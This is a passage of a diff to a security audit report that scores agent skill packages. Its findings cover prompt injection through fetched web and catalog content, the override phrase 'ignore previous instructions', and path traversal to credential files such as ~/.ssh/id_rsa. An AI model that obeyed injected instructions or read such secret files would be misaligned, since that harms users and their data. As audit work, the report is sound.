externally-launched processes (soffice/gcc). The static analyzer flagged a cross-file exfiltration chain involving 2 files, suggesting this pattern propagates across the codebase. In accept_changes.py, get_soffice_env() is imported and used to pass the full environment to LibreOffice subprocess calls.+ > File: `scripts/office/soffice.py:14`+ > **Remediation:** Instead of copying the entire environment, construct a minimal environment with only the variables needed for LibreOffice to function. Explicitly allowlist required variables (PATH, HOME, DISPLAY, etc.) rather than passing all environment variables to child processes.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Dynamic Compilation and LD_PRELOAD Injection of Native Code+ > The soffice.py script dynamically compiles a C source file using gcc and injects the resulting shared library via LD_PRELOAD into LibreOffice processes. While the stated purpose is to shim AF_UNIX socket calls in sandboxed environments, this pattern is a classic code injection technique. The C shim source (_SHIM_SOURCE) is written to /tmp, compiled, and then loaded into the address space of LibreOffice via LD_PRELOAD. If an attacker can influence the content of _SHIM_SOURCE or the path of _SHIM_SO, arbitrary native code could be injected into LibreOffice processes. Additionally, the shim intercepts socket(), listen(), accept(), and close() system calls, which is a powerful and potentially dangerous capability.+ > File: `scripts/office/soffice.py:40`+ > **Remediation:** Consider shipping the pre-compiled shim as a binary artifact rather than compiling at runtime. If runtime compilation is necessary, verify the integrity of the compiled output. Ensure /tmp is not world-writable or use a more secure temporary directory. Consider whether the LD_PRELOAD approach is necessary or if alternative LibreOffice configuration options exist.++- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded File System Traversal During Validation+ > Multiple validator scripts (base.py, docx.py, pptx.py) use rglob('*.xml') and rglob('*.rels') to recursively scan all XML files in the unpacked directory. If a maliciously crafted DOCX file contains a very large number of XML files or deeply nested directories, this could cause excessive resource consumption. Similarly, the merge_runs.py and simplify_redlines.py scripts traverse all elements in the document XML, which could be exploited with a pathologically large document.+ > File: `scripts/office/validators/base.py:75`+ > **Remediation:** Add limits on the number of files processed, maximum file sizes, and maximum recursion depth. Consider adding timeouts to validation operations to prevent denial-of-service from maliciously crafted documents.### exa-search — 🟡 MEDIUM-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Broad Activation Triggers in Skill Description- > The skill description contains a wide range of trigger phrases ('search, look up, fetch a page, or extract an article') and claims broad applicability for web-related tasks. While this is reasonable for a web toolkit, the description is written to maximize activation across many query types, which could cause the skill to be invoked more broadly than necessary. This is a minor concern given the skill's legitimate purpose.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Integration Tracking Header Sent to Exa on Every Request+ > Every script sets a custom HTTP header 'x-exa-integration: k-dense-ai--scientific-agent-skills' on all outbound Exa API requests. The SKILL.md explicitly instructs: 'Do not remove or rename this header when adapting the scripts.' This header allows Exa to attribute and track usage from this skill. While not malicious, it constitutes telemetry/usage tracking that users may not be aware of, and the instruction to preserve it could be considered a mild attempt to enforce tracking behavior.> File: `SKILL.md`- > **Remediation:** Consider narrowing the trigger description to be more specific about when this skill should be preferred over built-in web capabilities. The current description is acceptable but slightly over-broad.+ > **Remediation:** Disclose to users that usage is tracked via this header. Users who wish to remove tracking should be informed they can remove or change the header value without affecting functionality.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — User-Controlled Query and URL Arguments Passed Directly to External API- > The scripts pass user-supplied query strings (exa_search.py) and URLs (exa_extract.py) directly to the Exa API without sanitization or validation. While this is expected for a search/extract tool, a malicious user could craft queries or URLs designed to manipulate Exa's retrieval behavior or extract content from unintended sources. The returned content from external web pages is then presented to the agent, creating an indirect prompt injection surface — fetched web content could contain adversarial instructions that the agent might follow when summarizing or presenting results.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Broad Skill Activation Triggers in Description+ > The skill description contains an extensive list of activation triggers: 'search, look up, fetch a page, or extract an article' and covers 'web search (semantic lookups, research, current info)' and 'URL extraction'. While this matches the skill's legitimate capabilities, the description is written to maximize activation across a wide range of user intents, which could cause the skill to be invoked more broadly than necessary.+ > File: `SKILL.md`+ > **Remediation:** This is minor and the triggers appear to match genuine capabilities. No action required, but skill authors should be aware that broad trigger language increases the attack surface for skill hijacking scenarios.++- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via Fetched Web Content+ > The skill fetches arbitrary web content (full text of web pages, academic papers, articles) and instructs the agent to parse and present it verbatim: 'Keep content verbatim — do not paraphrase or summarize' and 'Preserve all facts, names, numbers, dates, quotes'. Maliciously crafted web pages or documents could embed prompt injection instructions in their content that the agent would then process. The instruction to preserve content verbatim increases this risk by discouraging the agent from filtering or summarizing potentially injected instructions.> File: `references/web-extract.md`- > **Remediation:** Add a note in the skill instructions warning the agent to treat fetched web content as untrusted data and not to follow any instructions embedded in retrieved pages. Consider adding output sanitization or a disclaimer when presenting extracted content to users. The agent should be instructed to summarize/cite content rather than execute any instructions found within it.+ > **Remediation:** Add explicit guidance that the agent should treat fetched web content as untrusted data and not follow any instructions embedded within it. Consider adding a note that verbatim extraction applies to factual content, not to any instruction-like text found in fetched pages.- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Read from Environment Variable with Network Transmission- > Both exa_search.py and exa_extract.py read the EXA_API_KEY environment variable and pass it directly to the Exa SDK client, which then makes network calls to the Exa API. While this is the intended and documented behavior of the skill, it does mean the API key is transmitted over the network on every invocation. The static analyzer flagged this as a cross-file env var exfiltration chain. In context, this is legitimate API authentication, not malicious exfiltration — the key is sent to exa.ai (the declared service provider), not an attacker-controlled endpoint. Risk is LOW because the behavior is transparent, documented, and matches the skill's stated purpose.+ > Both exa_search.py and exa_extract.py read the EXA_API_KEY environment variable and pass it directly to the Exa SDK client, which then makes outbound network calls to exa.ai. While this is the intended and documented behavior of the skill, it represents a pattern where a secret (API key) is read from the environment and transmitted over the network. The static analyzer flagged this as a cross-file env var exfiltration chain. In context, this is legitimate API authentication, not malicious exfiltration — the key is sent to the declared Exa service, not an attacker-controlled endpoint.> File: `scripts/exa_search.py`- > **Remediation:** No remediation required for normal use. Users should ensure EXA_API_KEY is scoped to minimum necessary permissions on the Exa dashboard. Consider documenting that the key is transmitted to exa.ai on every query so users are aware.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Integration Tracking Header Sent on Every Request- > Every script sets a custom HTTP header 'x-exa-integration: k-dense-ai--scientific-agent-skills' on all API requests. The SKILL.md explicitly instructs: 'Do not remove or rename this header when adapting the scripts.' While this is disclosed and appears to be legitimate usage attribution, it does mean that Exa can track all queries made through this skill, associating them with the 'k-dense-ai--scientific-agent-skills' integration identifier. Users may not be aware their queries are being attributed and tracked.- > File: `scripts/exa_search.py:75`- > **Remediation:** Add a disclosure in the skill documentation that all queries are attributed to the k-dense-ai integration identifier for usage tracking by Exa. Users should be informed that their search queries are associated with this identifier in Exa's analytics.+ > **Remediation:** This is expected behavior for an API-backed skill. Users should be aware that their EXA_API_KEY is transmitted to exa.ai with every request. Ensure the key is scoped to minimum necessary permissions on the Exa dashboard. Consider documenting that the key is only sent to api.exa.ai and not any third-party endpoint.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/exa-search/scripts/exa_extract.py@@ -2009,65 +2119,113 @@> File: `skills/exa-search/scripts/exa_search.py`> **Remediation:** Remove environment variable collection unless explicitly required and documented-### ginkgo-cloud-lab — 🟡 MEDIUM--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Static Analyzer Flagged eval/exec Usage in Markdown Code Blocks- > The pre-scan static analyzer detected two instances of Python eval/exec usage within markdown code blocks across the skill's files. Although no Python script files were found in the package inventory, these patterns appear within markdown content. If the agent is instructed to execute code blocks found in markdown files, this could lead to arbitrary code execution. The exact location within the 16 markdown files was not pinpointed by the static analyzer, but the pattern warrants investigation.- > **Remediation:** Audit all markdown files in the skill package for Python code blocks containing eval() or exec() calls. Remove or replace these patterns with safer alternatives. Ensure the agent is not instructed to execute code blocks found in documentation files. If these are illustrative examples only, add clear comments indicating they are not to be executed.+### exploratory-data-analysis — 🟡 MEDIUM-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata- > The SKILL.md manifest does not specify a license or compatibility field. While not a direct security threat, missing provenance metadata reduces auditability and makes it harder to assess the skill's trustworthiness and intended deployment scope.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill does not declare an allowed-tools field in the YAML manifest. The skill executes Python code that reads files, accesses the filesystem, and potentially makes network calls (via third-party libraries like biopython, pandas, etc.). Without an explicit allowed-tools declaration, there is no manifest-level constraint on what tools the agent may use when executing this skill.> File: `SKILL.md`- > **Remediation:** Add explicit license (e.g., MIT, Apache-2.0) and compatibility fields to the YAML frontmatter to improve transparency and auditability.+ > **Remediation:** Add an explicit allowed-tools field to the YAML manifest listing only the tools required (e.g., [Read, Python, Bash]) to constrain the agent's tool usage.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration- > The skill does not declare an allowed-tools field in its manifest. While this field is optional, its absence means there are no declared restrictions on what agent tools this skill may invoke. Given the skill references external URLs and instructs the agent to interact with cloud services, declaring tool restrictions would improve the security posture.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Skill Description+ > The skill description claims support for '200+ file formats' across six major scientific domains. While the reference files do cover many formats, the breadth of the claim ('This skill should be used when analyzing any scientific data file') could lead to over-activation of the skill for files it cannot actually handle, potentially causing unexpected behavior or errors. The description uses activation-maximizing language ('should be used when analyzing any scientific data file') that could cause the agent to invoke this skill even when it is not appropriate.> File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools field to the YAML frontmatter listing only the tools required (e.g., [Read] if only reading local reference files is needed).+ > **Remediation:** Narrow the description to accurately reflect actual capabilities. Avoid absolute language like 'any scientific data file'. Specify limitations and unsupported formats clearly.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Several Referenced Files Not Found in Skill Package- > Multiple files referenced in the SKILL.md instructions are listed as 'not found': assets/cell-free-protein-expression-validation.md, templates/fluorescent-pixel-art-generation.md, templates/cell-free-protein-expression-optimization.md, templates/cell-free-protein-expression-validation.md, assets/fluorescent-pixel-art-generation.md, assets/cell-free-protein-expression-optimization.md. Missing referenced files could indicate an incomplete package, or could cause the agent to attempt to fetch content from unexpected sources at runtime.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Third-Party Library Dependencies+ > The skill instructions and script reference numerous third-party libraries (biopython, rdkit, mdanalysis, pymzml, pyteomics, nd2reader, tifffile, pydicom, h5py, etc.) without specifying version pins. The troubleshooting section suggests installation via 'uv pip install biopython' without version constraints. Unpinned dependencies are vulnerable to supply chain attacks where a malicious package version could be installed.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package. Remove references to files that do not exist, or document clearly that they are optional. Verify the agent does not attempt to resolve missing files from external sources.+ > **Remediation:** Pin all dependency versions in a requirements.txt or pyproject.toml file. Use hash-pinned dependencies for security-critical installations. Validate package integrity after installation.++- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded File Loading for Large Scientific Files+ > Several analysis functions load entire files into memory without size limits. For example, analyze_bioinformatics() loads all FASTA sequences with `list(SeqIO.parse(filepath, 'fasta'))` and analyze_general_scientific() loads CSV files with `pd.read_csv(filepath, sep=sep, nrows=10000)`. While CSV has a 10k row limit, FASTA and HDF5 files have no size limits. A very large FASTA file (e.g., a whole genome assembly) could exhaust available memory and cause a denial of service.+ > File: `scripts/eda_analyzer.py:196`+ > **Remediation:** Add file size checks before loading. Implement sampling strategies for all format types (not just CSV). Use generators instead of materializing full lists for large files. Add memory usage monitoring and abort thresholds.++- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via Reference File Content Inclusion in Reports+ > The generate_markdown_report() function includes the raw content of reference file sections directly in the generated markdown report without sanitization: `lines.append(ref['raw_section'])`. If a reference file were modified to contain malicious instructions (e.g., 'ignore previous instructions', role overrides, or tool invocation commands), those instructions would be embedded verbatim in the output report and could be interpreted by the agent in subsequent interactions. The reference files are large (10,000+ words each) and are read and injected into agent context.+ > File: `scripts/eda_analyzer.py:270`+ > **Remediation:** Sanitize reference file content before including it in reports. Strip or escape any content that could be interpreted as agent instructions. Consider using a structured extraction approach rather than raw section injection.++- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Unrestricted File System Access via os.walk-style Path Traversal+ > The eda_analyzer.py script accepts a user-provided filepath argument (sys.argv[1]) and passes it directly to Path(filepath) and os.path.exists(filepath) without any path validation or sandboxing. A malicious or careless user could provide paths like ~/.aws/credentials, ~/.ssh/id_rsa, /etc/passwd, or other sensitive files. The script then reads and includes the file content in a generated markdown report, potentially exposing sensitive data.+ > File: `scripts/eda_analyzer.py:330`+ > **Remediation:** Validate and sanitize the input filepath. Restrict analysis to files within expected directories (e.g., the current working directory or a designated data directory). Reject paths containing '..' or absolute paths pointing outside allowed directories. Add a whitelist of allowed file extensions.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unsanitized User Input Passed to File Path Operations+ > The main() function in eda_analyzer.py takes sys.argv[1] as the filepath and sys.argv[2] as the output path without any sanitization. The output path is used directly in open(output_path, 'w'), allowing an attacker to write files to arbitrary locations on the filesystem (e.g., overwriting ~/.bashrc, cron jobs, or other sensitive files). This constitutes a path traversal / arbitrary file write vulnerability.+ > File: `scripts/eda_analyzer.py:335`+ > **Remediation:** Validate the output path to ensure it is within an expected directory. Reject paths containing '..' or absolute paths outside the working directory. Use os.path.realpath() and compare against an allowed base directory.++### generate-image — 🟡 MEDIUM++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — .env File Traversal Up Directory Tree+ > The check_env_file() function searches for .env files not only in the current directory but also in all parent directories up to the filesystem root. This could cause the script to inadvertently read .env files from parent project directories or home directories that contain unrelated secrets, potentially exposing API keys or credentials from other projects.+ > File: `scripts/generate_image.py:22`+ > **Remediation:** Limit .env file search to the current directory and at most one or two parent directories. Alternatively, prefer environment variables over .env file traversal. Document the traversal behavior so users are aware their parent-directory .env files may be read.++- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Third-Party Dependency (requests)+ > The script imports the 'requests' library without any version pinning or integrity verification. The install suggestion in the error message ('pip install requests') does not specify a version. An attacker who compromises the requests package on PyPI or a user's environment could intercept API calls or exfiltrate data.+ > File: `scripts/generate_image.py:68`+ > **Remediation:** Include a requirements.txt with a pinned version (e.g., requests==2.32.3) and ideally hash verification. Document the expected version in the skill's README.++- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Input Image File Read and Transmitted to External API Without User Confirmation+ > When an --input image path is provided, the script reads the file from disk, base64-encodes it, and transmits the full image content to the OpenRouter API. The input path is user-controlled and not validated beyond checking file existence and extension. A user could inadvertently (or an attacker could craft a scenario to) cause sensitive local files to be transmitted to the external API. There is no confirmation step before transmitting potentially sensitive image data externally.+ > File: `scripts/generate_image.py:82`+ > **Remediation:** Add a confirmation prompt before transmitting user-provided files to external services. Validate that the input file path is within expected directories. Consider displaying the file size and destination before upload. Restrict accepted file extensions strictly to image formats.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Transmitted to External Service via Network Call+ > The script reads the OPENROUTER_API_KEY from a .env file or environment variable and transmits it as a Bearer token in HTTP requests to https://openrouter.ai/api/v1/chat/completions. While this is the intended behavior for an API-based image generation tool, the key is read from the filesystem and sent over the network. If the API endpoint were ever changed or intercepted, the key could be exposed. The static analyzer flagged this as an environment variable exfiltration chain, but in context this appears to be legitimate API usage rather than malicious exfiltration.+ > File: `scripts/generate_image.py:97`+ > **Remediation:** This is expected behavior for an API-based skill. Ensure the OpenRouter endpoint is hardcoded and not configurable by user input to prevent redirection attacks. Consider validating the API key format before use. Document clearly that the API key is transmitted to openrouter.ai.### hugging-science — 🟡 MEDIUM-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — HF_TOKEN Loaded from .env and Passed to External Services- > The skill instructs the agent to load `HF_TOKEN` from a `.env` file and use it in all scripts that interact with the Hugging Face API, including calls to external Spaces, Inference Providers, and dataset downloads. While this is a standard pattern, the skill fetches content from `huggingscience.co` (a third-party domain, not huggingface.co) before making authenticated HF API calls. If the catalog content from `huggingscience.co` were to manipulate the agent into sending the token to an unintended endpoint, credential exposure could occur. The token handling itself is reasonable, but the combination with external content fetching creates a risk surface.+- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via External Catalog Content+ > The skill fetches and processes markdown content from an external domain (huggingscience.co) and instructs the agent to read and act on that content. The catalog entries, blog post links, and topic files fetched from this external source could contain embedded instructions that the agent would follow. The skill explicitly instructs the agent to 'read' reference files and act on their content, creating a pathway for indirect prompt injection if the external catalog is compromised or malicious.> File: `SKILL.md`- > **Remediation:** Ensure that `HF_TOKEN` is only ever sent to `huggingface.co` endpoints and never to `huggingscience.co` or other third-party domains. The fetch_catalog.py script correctly uses only `huggingscience.co` without authentication, which is good. Maintain this separation explicitly in the instructions.+ > **Remediation:** Treat fetched external content as untrusted data, not as instructions. The agent should parse catalog entries for structured fields (title, URL, description) only, and should not follow any imperative instructions found in fetched content. Consider adding explicit guidance that fetched content should never override agent behavior.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata- > The skill does not specify a `license` or `compatibility` field in its YAML manifest. While these are optional fields, their absence means users cannot easily assess the terms under which the skill operates or which agent environments it is designed for. The skill also lacks an `allowed-tools` declaration, making it impossible to verify that the skill's behavior (network fetching, file reading, code execution) is within declared boundaries.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — HF_TOKEN Loaded from .env and Used in Network Requests+ > The skill instructs the agent to load HF_TOKEN from a .env file and use it in all HuggingFace API calls. While the skill correctly advises against hardcoding tokens and echoing them, the token is passed to external network endpoints (HuggingFace API, Inference Providers, third-party backends like Together/Fireworks/Replicate). The skill also instructs the agent to add .gitignore entries, which is good practice, but the token handling pattern is worth noting as a credential exposure risk.> File: `SKILL.md`- > **Remediation:** Add `license`, `compatibility`, and `allowed-tools` fields to the YAML manifest. Given the skill fetches external URLs and executes Python code, `allowed-tools` should at minimum declare Bash and Python. This improves transparency and allows security tooling to validate behavior against declared capabilities.+ > **Remediation:** The current approach is reasonable. Ensure the agent never logs or displays the token value, and confirm that .env is always added to .gitignore before any token is written. Consider adding explicit guidance that the token should only be sent to huggingface.co domains and not to arbitrary third-party URLs.- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Domain Activation Triggers- > The skill description and SKILL.md enumerate an extremely broad list of scientific domains (biology, chemistry, physics, astronomy, climate, genomics, materials, medicine, ecology, energy, engineering, math, drug discovery, protein design, weather modeling, theorem proving, single-cell, PDE solving) as activation triggers. This covers a very large fraction of technical/scientific queries and could cause the skill to activate and fetch external content in many situations where it may not be needed, increasing the attack surface for indirect prompt injection via catalog content.+ > The skill description enumerates an extremely broad list of scientific domains (biology, chemistry, physics, astronomy, climate, genomics, materials, medicine, ecology, energy, engineering, math, drug discovery, protein design, weather modeling, theorem proving, single-cell, PDE solving) as activation triggers. This broad scope increases the likelihood of unintended activation across a wide range of user queries, potentially displacing more appropriate skills or tools.> File: `SKILL.md`- > **Remediation:** The broad activation scope is somewhat mitigated by the qualifier 'AI/ML work in a scientific domain', which is reasonable. However, consider tightening the description to reduce unnecessary activations. The skill already includes a note to defer to general HF Hub knowledge for generic ML tasks, which is a good practice.+ > **Remediation:** Consider narrowing the activation description to focus on the core value proposition (HuggingFace scientific ML resource discovery) rather than listing every possible scientific domain. The skill already includes appropriate guidance in the instruction body to defer to general HF Hub knowledge for generic ML tasks.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Static Analyzer Flag: eval/exec Usage in Python Code Block- > The static pre-scan flagged a Python code block using eval/exec (MDBLOCK_PYTHON_EVAL_EXEC). While reviewing the provided `fetch_catalog.py` script, no direct use of `eval` or `exec` was found in the script itself. However, the skill instructs the agent to use `trust_remote_code=True` when loading models via `transformers`, which causes the `transformers` library to download and execute arbitrary Python code from Hugging Face Hub repositories. This is explicitly recommended as a normal practice in `references/using-models.md`. If a catalog entry points to a malicious or compromised model repository, the agent would execute that repository's arbitrary code on the user's machine.- > File: `references/using-models.md`- > **Remediation:** Do not instruct the agent to automatically pass `trust_remote_code=True` without explicit user confirmation for each model. The instructions should require the agent to pause and get explicit user consent before executing remote code, rather than treating it as a default behavior. Warn users that this executes arbitrary Python from the model repository.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies+ > All package installation instructions across the reference files use unpinned versions (e.g., 'uv pip install datasets huggingface_hub', 'uv pip install transformers torch accelerate python-dotenv'). This exposes users to supply chain attacks where a malicious package update could compromise the environment.+ > File: `references/using-datasets.md`+ > **Remediation:** Pin all dependencies to specific versions (e.g., 'uv pip install datasets==3.2.0 huggingface_hub==0.27.0'). At minimum, document recommended version ranges and encourage users to use a lockfile.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via Fetched External Catalog Content- > The skill instructs the agent to fetch and parse markdown content from the external domain `huggingscience.co` (e.g., `llms-full.txt`, `topics/<slug>.md`) and then act on the parsed entries — including descriptions, titles, and tags — as trusted instructions. If the catalog content at `huggingscience.co` is compromised or contains adversarially crafted markdown entries, those entries could embed instructions that the agent would follow as part of its normal workflow. The `parse_markdown` function in `fetch_catalog.py` extracts description text verbatim and the agent is instructed to read and act on this content directly.- > File: `scripts/fetch_catalog.py`- > **Remediation:** Treat all fetched external content as untrusted data, not instructions. The agent should not follow any imperative language found in catalog entries. Consider adding a disclaimer in the instructions that catalog content is data only and should never override agent behavior. Validate and sanitize fetched content before presenting it to the LLM context.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — trust_remote_code=True Encouraged Without Adequate Safeguards+ > The skill's reference documentation explicitly instructs the agent to pass trust_remote_code=True when loading scientific models, and normalizes this as expected behavior. While the skill mentions the user 'should trust the org,' it provides no mechanism to verify org identity or model integrity before executing arbitrary remote code. This could allow a malicious or compromised HuggingFace repository to execute arbitrary Python code on the user's machine.+ > File: `references/using-models.md`+ > **Remediation:** Add explicit guidance to always verify the model repository's integrity (check commit hashes, review the modeling code) before passing trust_remote_code=True. Consider recommending users pin specific revisions (revision='<commit_hash>') when using trust_remote_code to prevent supply chain attacks via repository updates.### imaging-data-commons — 🟡 MEDIUM-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field- > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is optional per the agent skills spec, the skill executes Python code (subprocess calls, network requests, file I/O) and downloads data. Declaring allowed tools would help constrain the agent's capabilities and make the skill's intended scope explicit.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unpinned Package Upgrade via subprocess in SKILL.md+ > The SKILL.md instructions include a code block that runs `subprocess.run(["pip3", "install", "--upgrade", "--break-system-packages", "idc-index"], check=True)` without pinning to a specific version. The version check uses a string comparison (`installed < REQUIRED_VERSION`) which is not a reliable semantic version comparison. More critically, the `--upgrade` flag without a pinned version (e.g., `idc-index==0.11.14`) could install a compromised or unexpected version of the package. The `--break-system-packages` flag is also aggressive and could affect system Python installations.+ > File: `SKILL.md`+ > **Remediation:** Pin the package to the exact required version: `pip3 install --upgrade idc-index==0.11.14`. Remove `--break-system-packages` or document why it is needed. Use a proper semantic version comparison library (e.g., `packaging.version`) instead of string comparison.++- **🔵 LOW** `LLM_PROMPT_INJECTION` — Agent Instructed to Load and Execute Content from External Reference Files+ > The SKILL.md instructs the agent to load and follow instructions from multiple reference guide files (e.g., `references/bigquery_guide.md`, `references/use_cases.md`, `references/digital_pathology_guide.md`, etc.) on demand. While these files are internal to the skill package and the found files appear benign, many referenced files are missing (not found). If any of these missing files were to be supplied by an attacker or substituted with malicious content, the agent would follow their instructions. The pattern of delegating behavior to external files creates a transitive trust surface.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' to the YAML frontmatter to explicitly declare the tools this skill requires.+ > **Remediation:** Ensure all referenced files are present and validated as part of the skill package. Consider embedding critical instructions directly in SKILL.md rather than delegating to on-demand files. Implement integrity checks (e.g., checksums) for referenced files.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Upgrade Pattern in SKILL.md- > The SKILL.md instructions include a code block that runs 'pip3 install --upgrade --break-system-packages idc-index' without pinning to a specific version hash or using a lockfile. While the REQUIRED_VERSION variable is set to '0.11.14', the upgrade command uses '--upgrade' which will install the latest available version rather than the pinned version. This could allow a compromised or malicious version of idc-index to be installed if the package is ever compromised on PyPI. The '--break-system-packages' flag is also notable as it bypasses system package manager protections.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Broad Capability Claims and Related Skills Promotion+ > The SKILL.md includes a 'Related Skills' section that promotes other skills (pydicom, matplotlib, seaborn, plotly, exploratory-data-analysis) and encourages their use. While not directly malicious, this pattern of cross-promoting other skills could be used to inflate the activation surface of a skill ecosystem. The description is broad ('Use for accessing large-scale radiology... for AI training or research') which could trigger the skill in many contexts.> File: `SKILL.md`- > **Remediation:** Pin the installation to the exact version: subprocess.run(["pip3", "install", "--break-system-packages", f"idc-index=={REQUIRED_VERSION}"], check=True). This ensures only the audited version is installed.+ > **Remediation:** Scope the skill description and related skills section to only what is strictly necessary. Avoid cross-promoting other skills unless they are part of the same verified package.++- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Optional Dependencies Recommended for Installation+ > The SKILL.md instructions recommend installing optional packages (`pandas`, `numpy`, `pydicom`, `SimpleITK`) and the main `idc-index` package using `pip install --upgrade` without version pins. This exposes the environment to supply chain risks if any of these packages are compromised or if a breaking version is released. The `--upgrade` flag without version pinning means the latest available version is always installed.+ > File: `SKILL.md`+ > **Remediation:** Pin all dependencies to specific known-good versions (e.g., `pip install idc-index==0.11.14 pandas==2.x.x pydicom==2.x.x`). Consider using a requirements file with hashed dependencies for reproducibility.- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands> Code block in SKILL.md at line 21 contains potentially dangerous Python code.@@ -2077,25 +2235,20 @@### labarchive-integration — 🟡 MEDIUM- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned GitHub Dependency Installation- > The skill instructs users to install the `labarchives-py` package directly from a GitHub repository without any version pinning, commit hash, or integrity verification. This creates a supply chain risk where a compromised or malicious version of the package could be silently installed. The package at `https://github.com/mcmero/labarchives-py` could be modified by the repository owner or a compromised account at any time.+ > The skill instructs users to install the `labarchives-py` package directly from a GitHub repository without any version pinning, commit hash, or integrity verification. This means any future changes to the `mcmero/labarchives-py` repository (including malicious commits) would be silently installed. The package is also referenced in error messages within the scripts, reinforcing this installation path.> File: `SKILL.md`- > **Remediation:** Pin to a specific commit hash or tag (e.g., `git clone --branch v1.0.0 https://github.com/mcmero/labarchives-py`). Alternatively, publish the package to PyPI with a pinned version and use `pip install labarchives-py==<version>`. Verify package integrity with checksums before installation.+ > **Remediation:** Pin to a specific commit hash or tag: `pip install git+https://github.com/mcmero/labarchives-py@<commit-hash>`. Alternatively, publish the package to PyPI with a pinned version and verify checksums. Audit the third-party package before installation.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing License Information- > The skill manifest lists license as 'Unknown'. This is a supply chain provenance concern — users cannot determine the legal terms under which the skill and its bundled code can be used, modified, or distributed. Combined with the external GitHub dependency, the overall provenance of the skill is unclear.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License Information+ > The skill manifest specifies `license: Unknown`. For a skill that handles sensitive research data, API credentials, and institutional information, the absence of a clear license creates ambiguity about usage rights, liability, and security audit obligations. Users cannot assess the provenance or trustworthiness of the code.> File: `SKILL.md`- > **Remediation:** Specify a valid SPDX license identifier (e.g., MIT, Apache-2.0) in the YAML frontmatter. Ensure the license is compatible with the `labarchives-py` dependency's license.+ > **Remediation:** Specify a clear open-source license (e.g., MIT, Apache 2.0) or proprietary license terms. Include version information and a changelog for security-relevant updates.- **🟡 MEDIUM** `MDBLOCK_PYTHON_HTTP_POST` — Python code block sends HTTP POST request> Code block in references/api_reference.md at line 217 contains potentially dangerous Python code.> File: `references/api_reference.md:217`> **Remediation:** Review the code block for security implications.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — SSL Verification Disable Pattern in Reference Documentation- > The `references/authentication_guide.md` includes a code example that disables SSL certificate verification (`verify=False`). While labeled as 'not recommended for production', providing this pattern in documentation normalizes insecure practices and could lead users to deploy it in production environments, enabling man-in-the-middle attacks that could intercept credentials.- > File: `references/authentication_guide.md`- > **Remediation:** Remove the `verify=False` example entirely, or replace it with proper guidance on configuring custom CA certificates using `verify='/path/to/ca-bundle.crt'`. Add a prominent warning that disabling SSL verification exposes credentials to interception.-- **🟡 MEDIUM** `MDBLOCK_PYTHON_HTTP_POST` — Python code block sends HTTP POST request> Code block in references/integrations.md at line 93 contains potentially dangerous Python code.> File: `references/integrations.md:93`@@ -2106,49 +2259,86 @@> File: `references/integrations.md:309`> **Remediation:** Review the code block for security implications.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Credentials Transmitted in HTTP Request Body (Plaintext in POST Data)- > In `entry_operations.py`, the `upload_attachment` function includes `access_key_id` and `access_password` directly in the POST request body as form data fields. While HTTPS is used, embedding credentials in request bodies (rather than using Authorization headers or signed requests) increases the risk of credential exposure in server logs, proxy logs, and debugging output. The credentials are also loaded from a config file and passed through multiple function layers.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Credentials Transmitted in HTTP Request Body (Plaintext)+ > In `entry_operations.py`, the `upload_attachment` function includes `access_key_id` and `access_password` directly in the 